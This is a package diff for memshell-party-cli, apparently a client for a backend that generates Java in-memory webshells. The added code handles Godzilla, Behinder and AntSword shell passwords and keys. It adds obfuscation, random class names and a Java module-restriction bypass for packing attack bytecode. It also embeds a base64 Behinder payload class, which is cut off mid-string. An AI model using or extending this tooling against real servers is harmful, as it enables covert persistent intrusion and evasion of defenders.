memshell-party-cli 0.7.0 → 0.8.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -1,7 +1,7 @@
1
1
  #!/usr/bin/env node
2
2
 
3
3
  // src/cli.ts
4
- import { Command as Command11, CommanderError as CommanderError2 } from "commander";
4
+ import { Command as Command12, CommanderError as CommanderError2 } from "commander";
5
5
 
6
6
  // src/api/client.ts
7
7
  var ApiError = class extends Error {
@@ -18,6 +18,7 @@ var MemPartyClient = class {
18
18
  baseUrl;
19
19
  fetchImpl;
20
20
  timeoutMs;
21
+ generationApiVersion;
21
22
  constructor(options) {
22
23
  this.baseUrl = options.baseUrl.replace(/\/+$/, "");
23
24
  this.fetchImpl = options.fetch ?? globalThis.fetch;
@@ -29,8 +30,14 @@ var MemPartyClient = class {
29
30
  }
30
31
  }
31
32
  // ---------- config ----------
32
- getServers() {
33
- return this.request("GET", "/api/config/servers");
33
+ async getServers() {
34
+ const config = await this.getConfig();
35
+ return Object.fromEntries(
36
+ Object.entries(config).map(([server, tools]) => [
37
+ server,
38
+ [...new Set(Object.values(tools).flat())]
39
+ ])
40
+ );
34
41
  }
35
42
  getConfig() {
36
43
  return this.request("GET", "/api/config");
@@ -38,28 +45,76 @@ var MemPartyClient = class {
38
45
  getPackerTree() {
39
46
  return this.request("GET", "/api/config/packers/tree");
40
47
  }
41
- getPackers() {
42
- return this.request("GET", "/api/config/packers");
48
+ async getPackers() {
49
+ try {
50
+ return await this.request("GET", "/api/config/packers");
51
+ } catch (err) {
52
+ if (!(err instanceof ApiError) || err.status !== 404) throw err;
53
+ return (await this.getPackerTree()).map((packer) => packer.name);
54
+ }
43
55
  }
44
- getCommandConfigs() {
56
+ async getCommandConfigs() {
57
+ const configs = await this.getShellToolConfigs();
58
+ const command = configs.find((config) => config.tool === "Command");
59
+ if (command) {
60
+ return {
61
+ encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
62
+ implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
63
+ };
64
+ }
45
65
  return this.request("GET", "/api/config/command/configs");
46
66
  }
47
- /**
48
- * Servers the ResponseBody probe can write a response on.
49
- * Only exists on backend >= 2.9.0 — callers should fall back to the full
50
- * server list when this endpoint 404s.
51
- */
52
- getProbeResponseBodyServers() {
53
- return this.request("GET", "/api/config/probe/response-body/servers");
67
+ async getShellToolConfigs() {
68
+ try {
69
+ return await this.request("GET", "/api/config/shelltool/configs");
70
+ } catch (err) {
71
+ if (err instanceof ApiError && err.status === 404) return [];
72
+ throw err;
73
+ }
74
+ }
75
+ getObfuscationOptions() {
76
+ return this.request("GET", "/api/config/obfuscation/options");
77
+ }
78
+ async getProbeResponseServers() {
79
+ try {
80
+ return await this.request("GET", "/api/config/probe/response/servers");
81
+ } catch (err) {
82
+ if (err instanceof ApiError && err.status === 404) return [];
83
+ throw err;
84
+ }
54
85
  }
55
86
  getVersion() {
56
87
  return this.request("GET", "/api/version");
57
88
  }
89
+ async getPlugins() {
90
+ try {
91
+ return await this.request("GET", "/api/plugins");
92
+ } catch (err) {
93
+ if (err instanceof ApiError && err.status === 404) return [];
94
+ throw err;
95
+ }
96
+ }
58
97
  // ---------- generation ----------
59
- generateMemShell(req) {
60
- return this.request("POST", "/api/memshell/generate", {
61
- json: req
62
- });
98
+ async generateMemShell(req) {
99
+ const apiVersion = await this.getGenerationApiVersion();
100
+ try {
101
+ return await this.request("POST", "/api/memshell/generate", {
102
+ json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
103
+ });
104
+ } catch (err) {
105
+ if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
106
+ throw new ApiError(
107
+ `${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
108
+ err.status,
109
+ err.url
110
+ );
111
+ }
112
+ throw err;
113
+ }
114
+ }
115
+ getGenerationApiVersion() {
116
+ this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
117
+ return this.generationApiVersion;
63
118
  }
64
119
  generateProbe(req) {
65
120
  return this.request("POST", "/api/probe/generate", {
@@ -73,6 +128,16 @@ var MemPartyClient = class {
73
128
  raw: true
74
129
  });
75
130
  }
131
+ decodeBytecode(classBase64) {
132
+ return this.request("POST", "/api/bytecode/decode", {
133
+ text: classBase64
134
+ });
135
+ }
136
+ transformBytecode(req) {
137
+ return this.request("POST", "/api/bytecode/transform", {
138
+ json: req
139
+ });
140
+ }
76
141
  // ---------- transport ----------
77
142
  async request(method, path, opts = {}) {
78
143
  const url = `${this.baseUrl}${path}`;
@@ -126,6 +191,26 @@ var MemPartyClient = class {
126
191
  return JSON.parse(rawText);
127
192
  }
128
193
  };
194
+ function toLegacyMemShellRequest(req) {
195
+ const { pass, key, paramName, template, ...common } = req.shellToolConfig;
196
+ const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
197
+ return {
198
+ ...req,
199
+ shellConfig: {
200
+ ...shellConfig,
201
+ probe: shellConfig.probe ? true : void 0
202
+ },
203
+ shellToolConfig: {
204
+ ...common,
205
+ godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
206
+ godzillaKey: key,
207
+ commandParamName: paramName,
208
+ commandTemplate: template,
209
+ behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
210
+ antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
211
+ }
212
+ };
213
+ }
129
214
 
130
215
  // src/core/config.ts
131
216
  import { readFileSync } from "fs";
@@ -174,6 +259,127 @@ function reportError(message, argv) {
174
259
  }
175
260
  }
176
261
 
262
+ // src/core/shell-tool-config.ts
263
+ function toolConfigForTool(configs, tool) {
264
+ return configs.find((config) => config.tool === tool);
265
+ }
266
+ function parseShellToolConfig(assignments, params) {
267
+ const result = {};
268
+ for (const assignment of assignments ?? []) {
269
+ const separator = assignment.indexOf("=");
270
+ if (separator <= 0) {
271
+ throw new Error(`Invalid --tool-option "${assignment}". Expected name=value.`);
272
+ }
273
+ const name = assignment.slice(0, separator).trim();
274
+ const rawValue = assignment.slice(separator + 1);
275
+ if (!name) throw new Error(`Invalid --tool-option "${assignment}". Expected name=value.`);
276
+ const param = params?.find((candidate) => candidate.name === name);
277
+ if (params !== void 0 && param === void 0) {
278
+ throw new Error(
279
+ `Unknown shell tool option "${name}". Available options: ${params.map((item) => item.name).join(", ") || "(none)"}.`
280
+ );
281
+ }
282
+ if (param?.type === "object") {
283
+ result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);
284
+ } else if (rawValue.startsWith("{")) {
285
+ result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);
286
+ } else {
287
+ result[name] = rawValue;
288
+ }
289
+ }
290
+ return result;
291
+ }
292
+ function parseToolConfigFile(source, params) {
293
+ const parsed = parseJsonObject(source, "--tool-config");
294
+ const assignments = Object.entries(parsed).map(([name, value]) => {
295
+ if (typeof value === "string") return `${name}=${value}`;
296
+ return `${name}=${JSON.stringify(value)}`;
297
+ });
298
+ return parseShellToolConfig(assignments, params);
299
+ }
300
+ function validateRequiredRemoteOptions(config, params) {
301
+ const missing = (params ?? []).filter((param) => param.ui?.kind === "remote-select" && param.ui.required).filter((param) => {
302
+ const value = config[param.name];
303
+ return value === void 0 || typeof value === "string" && value.trim() === "";
304
+ }).map((param) => param.name);
305
+ if (missing.length > 0) {
306
+ throw new Error(
307
+ `Missing required remote shell tool option(s): ${missing.join(", ")}. Provide them with --tool-option or --tool-config.`
308
+ );
309
+ }
310
+ }
311
+ function parseJsonObject(source, label) {
312
+ let parsed;
313
+ try {
314
+ parsed = JSON.parse(source);
315
+ } catch (err) {
316
+ throw new Error(`${label} must be valid JSON: ${err.message}`);
317
+ }
318
+ if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) {
319
+ throw new Error(`${label} must be a JSON object.`);
320
+ }
321
+ return parsed;
322
+ }
323
+ function readRemotePath(value, path) {
324
+ if (!path) return value;
325
+ let current = value;
326
+ for (const segment of path.split(".")) {
327
+ if (!segment || typeof current !== "object" || current === null || Array.isArray(current) || !(segment in current)) {
328
+ return void 0;
329
+ }
330
+ current = current[segment];
331
+ }
332
+ return current;
333
+ }
334
+ function normalizeRemoteOptions(payload, hint, objectMode) {
335
+ const items = readRemotePath(payload, hint.itemsPath);
336
+ if (!Array.isArray(items)) {
337
+ throw new Error("Remote options response does not contain an array at itemsPath.");
338
+ }
339
+ return items.map((item) => {
340
+ if (typeof item !== "object" || item === null || Array.isArray(item)) {
341
+ throw new Error("Remote option items must be objects.");
342
+ }
343
+ const rawLabel = readRemotePath(item, hint.labelPath);
344
+ if (typeof rawLabel !== "string" && typeof rawLabel !== "number") {
345
+ throw new Error("Remote option labels must be strings or numbers.");
346
+ }
347
+ if (objectMode) return { label: String(rawLabel), value: item };
348
+ if (!hint.valuePath) throw new Error("String remote options require valuePath.");
349
+ const rawValue = readRemotePath(item, hint.valuePath);
350
+ if (typeof rawValue !== "string" && typeof rawValue !== "number") {
351
+ throw new Error("Remote option values must be strings or numbers.");
352
+ }
353
+ return { label: String(rawLabel), value: String(rawValue) };
354
+ });
355
+ }
356
+ function validateRemoteOptionsUrl(value) {
357
+ const url = new URL(value);
358
+ if (url.protocol !== "http:" && url.protocol !== "https:") {
359
+ throw new Error("Remote options URL must use HTTP or HTTPS.");
360
+ }
361
+ return url.toString();
362
+ }
363
+ async function fetchRemoteOptions(sourceUrl, hint, objectMode, fetchImpl = globalThis.fetch, signal) {
364
+ const url = validateRemoteOptionsUrl(sourceUrl);
365
+ const response = await fetchImpl(url, {
366
+ method: "GET",
367
+ headers: { Accept: "application/json" },
368
+ redirect: "follow",
369
+ signal
370
+ });
371
+ if (!response.ok) {
372
+ throw new Error(`Remote options request failed (${response.status} ${response.statusText}).`);
373
+ }
374
+ let payload;
375
+ try {
376
+ payload = await response.json();
377
+ } catch {
378
+ throw new Error("Remote options response must be valid JSON.");
379
+ }
380
+ return normalizeRemoteOptions(payload, hint, objectMode);
381
+ }
382
+
177
383
  // src/commands/config.ts
178
384
  function printJsonOrLines(data, json, renderLines) {
179
385
  if (json) {
@@ -193,6 +399,10 @@ Examples:
193
399
  $ memparty config tools Tomcat # tools available on one server (values for gen -t)
194
400
  $ memparty config packers # packer tree (values for gen -p)
195
401
  $ memparty config command # Command-tool encryptors and impl classes
402
+ $ memparty config tool-configs # v3+ tool parameter names and enum values
403
+ $ memparty config obfuscation # v3+ obfuscation option reference
404
+ $ memparty config plugins # v3.1+ external plugin metadata and load status
405
+ $ memparty config remote-options PluginTool target --url https://example.com/options
196
406
  `
197
407
  );
198
408
  config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
@@ -228,6 +438,67 @@ Examples:
228
438
  ${p.children.join(", ")}` : p.name)
229
439
  );
230
440
  });
441
+ config.command("tool-configs").description("List shell tool parameters (empty for v2 backends)").option("--json", "output raw JSON").action(async (opts, cmd) => {
442
+ const client = createClient(cmd.optsWithGlobals());
443
+ const configs = await client.getShellToolConfigs();
444
+ printJsonOrLines(
445
+ configs,
446
+ opts.json,
447
+ () => configs.length ? configs.flatMap((config2) => [
448
+ config2.tool,
449
+ ...config2.params.map(
450
+ (param) => ` ${param.name} (${param.type})${param.options.length ? `: ${param.options.join(", ")}` : ""}${param.ui?.kind === "remote-select" ? ` [remote: ${param.ui.urlQueryParam}${param.ui.required ? ", required" : ""}]` : ""}`
451
+ )
452
+ ]) : ["No v3 shell-tool config endpoint on this backend."]
453
+ );
454
+ });
455
+ config.command("plugins").description("List external plugin metadata and load status (MemShellParty v3.1+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
456
+ const client = createClient(cmd.optsWithGlobals());
457
+ const plugins = await client.getPlugins();
458
+ printJsonOrLines(
459
+ plugins,
460
+ opts.json,
461
+ () => plugins.length ? plugins.flatMap((plugin) => [
462
+ `${plugin.name}${plugin.version ? ` (${plugin.version})` : ""} [${plugin.loaded ? "loaded" : "not loaded"}]`,
463
+ ` jar: ${plugin.jarFileName}`,
464
+ ...plugin.author ? [` author: ${plugin.author}`] : [],
465
+ ...plugin.description ? [` description: ${plugin.description}`] : [],
466
+ ...plugin.homepage ? [` homepage: ${plugin.homepage}`] : [],
467
+ ...plugin.license ? [` license: ${plugin.license}`] : [],
468
+ ...plugin.source ? [` source: ${plugin.source}`] : [],
469
+ ...plugin.spiServices.length ? [` SPI: ${plugin.spiServices.join(", ")}`] : [],
470
+ ...plugin.loadError ? [` load error: ${plugin.loadError}`] : []
471
+ ]) : ["No external plugins (or the backend predates v3.1)."]
472
+ );
473
+ });
474
+ config.command("remote-options").description("Resolve a v3.1 remote-select field into string IDs or complete objects").argument("<tool>", "shell tool name").argument("<param>", "remote-select parameter name").option("--url <url>", "remote JSON endpoint (or set the field's urlQueryParam as an env var)").option("--object", "return complete objects instead of using the parameter's declared type").option("--json", "output raw JSON").action(async (tool, paramName, opts, cmd) => {
475
+ const client = createClient(cmd.optsWithGlobals());
476
+ const descriptor = (await client.getShellToolConfigs()).find((config2) => config2.tool === tool);
477
+ const param = descriptor?.params.find((candidate) => candidate.name === paramName);
478
+ if (!param?.ui || param.ui.kind !== "remote-select") {
479
+ throw new Error(`${tool}.${paramName} is not a remote-select shell tool option.`);
480
+ }
481
+ const sourceUrl = opts.url ?? process.env[param.ui.urlQueryParam];
482
+ if (!sourceUrl) {
483
+ throw new Error(`Provide --url or set the ${param.ui.urlQueryParam} environment variable.`);
484
+ }
485
+ const options = await fetchRemoteOptions(sourceUrl, param.ui, opts.object ?? param.type === "object");
486
+ printJsonOrLines(options, opts.json, () => options.map((option, index) => {
487
+ const value = typeof option.value === "string" ? option.value : JSON.stringify(option.value);
488
+ return `${index}: ${option.label} => ${value}`;
489
+ }));
490
+ });
491
+ config.command("obfuscation").description("List obfuscation options (MemShellParty v3+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
492
+ const client = createClient(cmd.optsWithGlobals());
493
+ const options = await client.getObfuscationOptions();
494
+ printJsonOrLines(
495
+ options,
496
+ opts.json,
497
+ () => options.map(
498
+ (option) => Object.entries(option).map(([key, value]) => `${key}=${JSON.stringify(value)}`).join(" ")
499
+ )
500
+ );
501
+ });
231
502
  config.command("command").description("List Command-tool encryptors and implementation classes").option("--json", "output raw JSON").action(async (opts, cmd) => {
232
503
  const client = createClient(cmd.optsWithGlobals());
233
504
  const cc = await client.getCommandConfigs();
@@ -238,9 +509,160 @@ Examples:
238
509
  });
239
510
  }
240
511
 
241
- // src/commands/connect.ts
512
+ // src/commands/bytecode.ts
513
+ import { readFileSync as readFileSync2 } from "fs";
242
514
  import { Option } from "commander";
243
515
 
516
+ // src/core/output.ts
517
+ import { writeFileSync } from "fs";
518
+ var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
519
+ function hasBinaryExtension(path) {
520
+ const lower = path.toLowerCase();
521
+ return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
522
+ }
523
+ function shouldDecode(opts) {
524
+ if (opts.decode !== void 0) return opts.decode;
525
+ if (opts.outFile) return hasBinaryExtension(opts.outFile);
526
+ return false;
527
+ }
528
+ function emitPayload(payload, opts, sinks = {}) {
529
+ const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));
530
+ const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
531
+ const decoded = shouldDecode(opts);
532
+ if (opts.outFile) {
533
+ if (decoded) {
534
+ const buf = Buffer.from(payload, "base64");
535
+ writeFile(opts.outFile, buf);
536
+ return { destination: opts.outFile, size: buf.length, decoded: true };
537
+ }
538
+ writeFile(opts.outFile, payload);
539
+ return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
540
+ }
541
+ if (decoded) {
542
+ const buf = Buffer.from(payload, "base64");
543
+ writeStdout(buf.toString("binary"));
544
+ return { destination: "stdout", size: buf.length, decoded: true };
545
+ }
546
+ writeStdout(payload.endsWith("\n") ? payload : `${payload}
547
+ `);
548
+ return { destination: "stdout", size: payload.length, decoded: false };
549
+ }
550
+ function hasMultiplePackResults(r) {
551
+ return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
552
+ }
553
+ function emitSinglePackResult(r, opts, sinks = {}) {
554
+ if (hasMultiplePackResults(r)) {
555
+ const n = Object.keys(r.allPackResults).length;
556
+ throw new Error(
557
+ `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
558
+ );
559
+ }
560
+ if (r.packResult === void 0) {
561
+ throw new Error("Server returned no packResult.");
562
+ }
563
+ return emitPayload(r.packResult, opts, sinks);
564
+ }
565
+
566
+ // src/core/obfuscation.ts
567
+ function parseObfuscationOptions(input3) {
568
+ if (input3 === void 0 || input3.trim() === "") return void 0;
569
+ const options = {};
570
+ for (const entry of input3.split(/[,\n]/)) {
571
+ const separator = entry.indexOf("=");
572
+ const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
573
+ if (separator < 0 || key === "") {
574
+ throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
575
+ }
576
+ if (Object.hasOwn(options, key)) {
577
+ throw new Error(`Duplicate obfuscation option "${key}".`);
578
+ }
579
+ const value = entry.slice(separator + 1).trim();
580
+ if (value === "true" || value === "false") {
581
+ options[key] = value === "true";
582
+ } else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
583
+ options[key] = Number(value);
584
+ } else {
585
+ options[key] = value;
586
+ }
587
+ }
588
+ return options;
589
+ }
590
+
591
+ // src/commands/bytecode.ts
592
+ function classInput(base64, file) {
593
+ if (file !== void 0 && base64 !== void 0) {
594
+ throw new Error("Pass either a Base64 argument or --file, not both.");
595
+ }
596
+ if (file !== void 0) return readFileSync2(file).toString("base64");
597
+ if (base64 !== void 0) return base64;
598
+ if (process.stdin.isTTY) {
599
+ throw new Error("Provide Base64 as an argument, --file <path>, or Base64 on stdin.");
600
+ }
601
+ return readFileSync2(0, "utf8");
602
+ }
603
+ function buildBytecodeTransformRequest(base64, opts) {
604
+ const renamePackage = opts.renamePackage || opts.relocateFrom !== void 0 || opts.relocateTo !== void 0;
605
+ if (renamePackage && (!opts.relocateFrom || !opts.relocateTo)) {
606
+ throw new Error("Package relocation requires both --relocate-from and --relocate-to.");
607
+ }
608
+ const obfuscation = opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(opts.obfuscationOptions) } : void 0;
609
+ return {
610
+ classBytesBase64: base64,
611
+ ...opts.packer === void 0 ? {} : { packer: opts.packer },
612
+ ...opts.bypassModule === void 0 ? {} : { byPassJavaModule: opts.bypassModule },
613
+ ...opts.staticInitialize === void 0 ? {} : { staticInitialize: opts.staticInitialize },
614
+ ...opts.shrink === void 0 ? {} : { shrink: opts.shrink },
615
+ ...renamePackage ? { renamePackage, relocateFrom: opts.relocateFrom, relocateTo: opts.relocateTo } : {},
616
+ ...opts.entryMethod === void 0 ? {} : { entryMethod: opts.entryMethod },
617
+ ...opts.newClassName === void 0 ? {} : { newClassName: opts.newClassName },
618
+ ...opts.randomName === void 0 ? {} : { randomName: opts.randomName },
619
+ ...obfuscation === void 0 ? {} : { obfuscation },
620
+ ...opts.probeMethod === void 0 ? {} : {
621
+ server: opts.server ?? "Unknown",
622
+ probe: {
623
+ probeMethod: opts.probeMethod,
624
+ probeContent: "Bytecode",
625
+ respHeaderName: opts.respHeaderName
626
+ }
627
+ }
628
+ };
629
+ }
630
+ function registerBytecodeCommand(program) {
631
+ const command = program.command("bytecode").description("Decode and transform arbitrary Java classes (MemShellParty v3+)");
632
+ command.command("decode").description("Decode Base64/GzipBase64 class bytes and print class metadata").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("--json", "print the full JSON response").addHelpText("after", "\nExamples:\n $ memparty bytecode decode -f Payload.class\n $ cat Payload.class | memparty bytecode decode --json\n").action(async (base64, opts, cmd) => {
633
+ const client = createClient(cmd.optsWithGlobals());
634
+ const result = await client.decodeBytecode(classInput(base64, opts.file));
635
+ if (opts.json) process.stdout.write(`${JSON.stringify(result, null, 2)}
636
+ `);
637
+ else process.stdout.write(`${result.className} (${result.size} bytes)
638
+ ${result.classBytesBase64Str}
639
+ `);
640
+ });
641
+ command.command("transform").description("Rename, relocate, instrument, obfuscate or pack a class").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("-p, --packer <packer>", "packer, e.g. DefaultBase64, JSP").option("--bypass-module", "bypass Java module restrictions").option("--static-initialize", "call the no-argument constructor from a static initializer").option("--no-shrink", "keep bytecode debug information").option("--rename-package", "enable package relocation").option("--relocate-from <prefix>", "original package prefix, e.g. javax.servlet").option("--relocate-to <prefix>", "replacement package prefix, e.g. jakarta.servlet").option("--entry-method <signature>", "add an entry method, e.g. 'public static void main(String[] args)'").option("--new-class-name <name>", "new simple or fully-qualified class name").option("--random-name", "generate a random class and package name").option("--obfuscate", "enable class obfuscation").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--server <server>", "response-wrapper server (default: Unknown)").addOption(new Option("--probe-method <method>", "embed a Bytecode response wrapper").choices(["ResponseBody", "ResponseHeader"])).option("--resp-header-name <name>", "ResponseHeader response header (random when omitted)").option("-o, --output <file>", "write the packed result, or the transformed class when no packer is given").option("--json", "print the full JSON response; outputFile is added when -o is used").addHelpText("after", "\nExamples:\n $ memparty bytecode transform -f Payload.class --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class\n $ memparty bytecode transform -f Payload.class --entry-method 'public static void main(String[] args)' -o Entry.class\n $ memparty bytecode transform -f Payload.class --server Tomcat --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json\n").action(async (base64, opts, cmd) => {
642
+ const client = createClient(cmd.optsWithGlobals());
643
+ const request = buildBytecodeTransformRequest(classInput(base64, opts.file), opts);
644
+ const result = await client.transformBytecode(request);
645
+ const outputFile = opts.output === void 0 ? void 0 : result.packResult !== void 0 ? emitSinglePackResult(result, { outFile: opts.output }) : emitPayload(result.classBytesBase64Str, { outFile: opts.output, decode: true });
646
+ if (opts.json) {
647
+ process.stdout.write(`${JSON.stringify(outputFile === void 0 ? result : { ...result, outputFile }, null, 2)}
648
+ `);
649
+ return;
650
+ }
651
+ logInfo(`class: ${result.className} (${result.size} bytes)`);
652
+ if (outputFile !== void 0) {
653
+ logInfo(`wrote ${outputFile.size} bytes to ${outputFile.destination}`);
654
+ } else if (result.packResult !== void 0) {
655
+ emitSinglePackResult(result, {});
656
+ } else {
657
+ process.stdout.write(`${result.classBytesBase64Str}
658
+ `);
659
+ }
660
+ });
661
+ }
662
+
663
+ // src/commands/connect.ts
664
+ import { Option as Option2 } from "commander";
665
+
244
666
  // src/connect/assets.ts
245
667
  var ECHO_CLASS_B64 = "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsAvAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAiAM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADeCwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQKAQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9FY2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1TdGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2JvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAGcmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGlsL0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEVDAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMMAGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEudmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIBMwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApnZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRpbC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRvcgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphd